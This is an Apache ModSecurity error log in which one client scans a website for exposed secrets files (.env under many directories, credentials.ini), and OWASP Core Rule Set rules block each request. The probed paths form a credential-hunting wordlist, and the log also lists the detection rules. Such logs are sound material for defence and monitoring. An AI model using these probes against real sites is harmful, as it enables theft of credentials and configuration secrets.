[Tue Oct 27 09:04:00.906616 2026] [security2:error] [pid 3237843:tid 3237843] [client 207.175.194.102:42580] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".ini"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/credentials.ini"] [unique_id "auChQLL0NGPtr6217jDWdAAAAAA"]
[Tue Oct 27 09:04:00.906633 2026] [security2:error] [pid 3219292:tid 3219292] [client 207.175.194.102:42546] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/demo/.env"] [unique_id "auChQG_oZ855J3-bmxErEgAAAAY"]
[Tue Oct 27 09:04:00.906835 2026] [security2:error] [pid 3237843:tid 3237843] [client 207.175.194.102:42580] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/credentials.ini"] [unique_id "auChQLL0NGPtr6217jDWdAAAAAA"]
[Tue Oct 27 09:04:00.906855 2026] [security2:error] [pid 3219292:tid 3219292] [client 207.175.194.102:42546] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/demo/.env"] [unique_id "auChQG_oZ855J3-bmxErEgAAAAY"]
[Tue Oct 27 09:04:00.907085 2026] [security2:error] [pid 3237843:tid 3237843] [client 207.175.194.102:42580] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/credentials.ini"] [unique_id "auChQLL0NGPtr6217jDWdAAAAAA"]
[Tue Oct 27 09:04:00.908085 2026] [security2:error] [pid 3227580:tid 3227580] [client 207.175.194.102:42548] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /dev/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/dev/.env"] [unique_id "auChQGUNDY12-2npPMSGkwAAAAo"]
[Tue Oct 27 09:04:00.908261 2026] [security2:error] [pid 3227580:tid 3227580] [client 207.175.194.102:42548] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/dev/.env"] [unique_id "auChQGUNDY12-2npPMSGkwAAAAo"]
[Tue Oct 27 09:04:00.908498 2026] [security2:error] [pid 3227580:tid 3227580] [client 207.175.194.102:42548] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/dev/.env"] [unique_id "auChQGUNDY12-2npPMSGkwAAAAo"]
[Tue Oct 27 09:04:00.982988 2026] [security2:error] [pid 3219292:tid 3219292] [client 207.175.194.102:42546] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /frontend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/frontend/.env"] [unique_id "auChQG_oZ855J3-bmxErEwAAAAY"]
[Tue Oct 27 09:04:00.983246 2026] [security2:error] [pid 3219292:tid 3219292] [client 207.175.194.102:42546] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/frontend/.env"] [unique_id "auChQG_oZ855J3-bmxErEwAAAAY"]
[Tue Oct 27 09:04:00.983527 2026] [security2:error] [pid 3219292:tid 3219292] [client 207.175.194.102:42546] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/frontend/.env"] [unique_id "auChQG_oZ855J3-bmxErEwAAAAY"]
[Tue Oct 27 09:04:01.089953 2026] [security2:error] [pid 3237926:tid 3237926] [client 207.175.194.102:42592] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /laravel/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/laravel/.env"] [unique_id "auChQV-8Lhg5M1Fe2hj9owAAABI"]
[Tue Oct 27 09:04:01.090118 2026] [security2:error] [pid 3237926:tid 3237926] [client 207.175.194.102:42592] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/laravel/.env"] [unique_id "auChQV-8Lhg5M1Fe2hj9owAAABI"]
[Tue Oct 27 09:04:01.090390 2026] [security2:error] [pid 3237926:tid 3237926] [client 207.175.194.102:42592] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/laravel/.env"] [unique_id "auChQV-8Lhg5M1Fe2hj9owAAABI"]
[Tue Oct 27 09:04:01.091360 2026] [security2:error] [pid 3209603:tid 3209603] [client 207.175.194.102:42562] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /media/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/media/.env"] [unique_id "auChQT4THoroSjopRdUBLAAAAAE"]
[Tue Oct 27 09:04:01.091522 2026] [security2:error] [pid 3209603:tid 3209603] [client 207.175.194.102:42562] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/media/.env"] [unique_id "auChQT4THoroSjopRdUBLAAAAAE"]
[Tue Oct 27 09:04:01.091767 2026] [security2:error] [pid 3209603:tid 3209603] [client 207.175.194.102:42562] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/media/.env"] [unique_id "auChQT4THoroSjopRdUBLAAAAAE"]
[Tue Oct 27 09:04:01.092780 2026] [security2:error] [pid 3233596:tid 3233596] [client 207.175.194.102:42542] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /new/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/new/.env"] [unique_id "auChQTyZibD2nTuanG6-nAAAAAk"]
[Tue Oct 27 09:04:01.092908 2026] [security2:error] [pid 3233596:tid 3233596] [client 207.175.194.102:42542] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/new/.env"] [unique_id "auChQTyZibD2nTuanG6-nAAAAAk"]
[Tue Oct 27 09:04:01.093184 2026] [security2:error] [pid 3233596:tid 3233596] [client 207.175.194.102:42542] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/new/.env"] [unique_id "auChQTyZibD2nTuanG6-nAAAAAk"]
[Tue Oct 27 09:04:01.094123 2026] [security2:error] [pid 3237843:tid 3237843] [client 207.175.194.102:42580] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /old/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/old/.env"] [unique_id "auChQbL0NGPtr6217jDWdgAAAAA"]
[Tue Oct 27 09:04:01.094295 2026] [security2:error] [pid 3237843:tid 3237843] [client 207.175.194.102:42580] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/old/.env"] [unique_id "auChQbL0NGPtr6217jDWdgAAAAA"]
[Tue Oct 27 09:04:01.094552 2026] [security2:error] [pid 3237843:tid 3237843] [client 207.175.194.102:42580] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/old/.env"] [unique_id "auChQbL0NGPtr6217jDWdgAAAAA"]
[Tue Oct 27 09:04:01.097204 2026] [proxy_fcgi:error] [pid 3237845:tid 3237845] [client 207.175.194.102:42572] AH01071: Got error 'Primary script unknown'
[Tue Oct 27 09:04:01.099816 2026] [proxy_fcgi:error] [pid 3227580:tid 3227580] [client 207.175.194.102:42548] AH01071: Got error 'Primary script unknown'
[Tue Oct 27 09:04:01.165722 2026] [security2:error] [pid 3237926:tid 3237926] [client 207.175.194.102:42592] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /production/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/production/.env"] [unique_id "auChQV-8Lhg5M1Fe2hj9pAAAABI"]
[Tue Oct 27 09:04:01.165942 2026] [security2:error] [pid 3237926:tid 3237926] [client 207.175.194.102:42592] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/production/.env"] [unique_id "auChQV-8Lhg5M1Fe2hj9pAAAABI"]
[Tue Oct 27 09:04:01.166234 2026] [security2:error] [pid 3237926:tid 3237926] [client 207.175.194.102:42592] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/production/.env"] [unique_id "auChQV-8Lhg5M1Fe2hj9pAAAABI"]
[Tue Oct 27 09:04:01.171562 2026] [security2:error] [pid 3209603:tid 3209603] [client 207.175.194.102:42562] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /public/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/public/.env"] [unique_id "auChQT4THoroSjopRdUBLQAAAAE"]
[Tue Oct 27 09:04:01.171706 2026] [security2:error] [pid 3209603:tid 3209603] [client 207.175.194.102:42562] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/public/.env"] [unique_id "auChQT4THoroSjopRdUBLQAAAAE"]
[Tue Oct 27 09:04:01.171931 2026] [security2:error] [pid 3209603:tid 3209603] [client 207.175.194.102:42562] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/public/.env"] [unique_id "auChQT4THoroSjopRdUBLQAAAAE"]
[Tue Oct 27 09:04:01.178781 2026] [security2:error] [pid 3227580:tid 3227580] [client 207.175.194.102:42548] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /server/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/server/.env"] [unique_id "auChQWUNDY12-2npPMSGlgAAAAo"]
[Tue Oct 27 09:04:01.178914 2026] [security2:error] [pid 3227580:tid 3227580] [client 207.175.194.102:42548] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/server/.env"] [unique_id "auChQWUNDY12-2npPMSGlgAAAAo"]
[Tue Oct 27 09:04:01.179146 2026] [security2:error] [pid 3227580:tid 3227580] [client 207.175.194.102:42548] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/server/.env"] [unique_id "auChQWUNDY12-2npPMSGlgAAAAo"]
[Tue Oct 27 09:04:01.241527 2026] [security2:error] [pid 3237926:tid 3237926] [client 207.175.194.102:42592] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /src/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/src/.env"] [unique_id "auChQV-8Lhg5M1Fe2hj9pQAAABI"]
[Tue Oct 27 09:04:01.241751 2026] [security2:error] [pid 3237926:tid 3237926] [client 207.175.194.102:42592] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/src/.env"] [unique_id "auChQV-8Lhg5M1Fe2hj9pQAAABI"]
[Tue Oct 27 09:04:01.242031 2026] [security2:error] [pid 3237926:tid 3237926] [client 207.175.194.102:42592] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/src/.env"] [unique_id "auChQV-8Lhg5M1Fe2hj9pQAAABI"]
[Tue Oct 27 09:04:01.247241 2026] [security2:error] [pid 3209603:tid 3209603] [client 207.175.194.102:42562] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /staging/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/staging/.env"] [unique_id "auChQT4THoroSjopRdUBLgAAAAE"]
[Tue Oct 27 09:04:01.247371 2026] [security2:error] [pid 3209603:tid 3209603] [client 207.175.194.102:42562] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/staging/.env"] [unique_id "auChQT4THoroSjopRdUBLgAAAAE"]
[Tue Oct 27 09:04:01.247585 2026] [security2:error] [pid 3209603:tid 3209603] [client 207.175.194.102:42562] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/staging/.env"] [unique_id "auChQT4THoroSjopRdUBLgAAAAE"]
[Tue Oct 27 09:04:01.247912 2026] [security2:error] [pid 3233596:tid 3233596] [client 207.175.194.102:42542] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /test/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/test/.env"] [unique_id "auChQTyZibD2nTuanG6-ngAAAAk"]
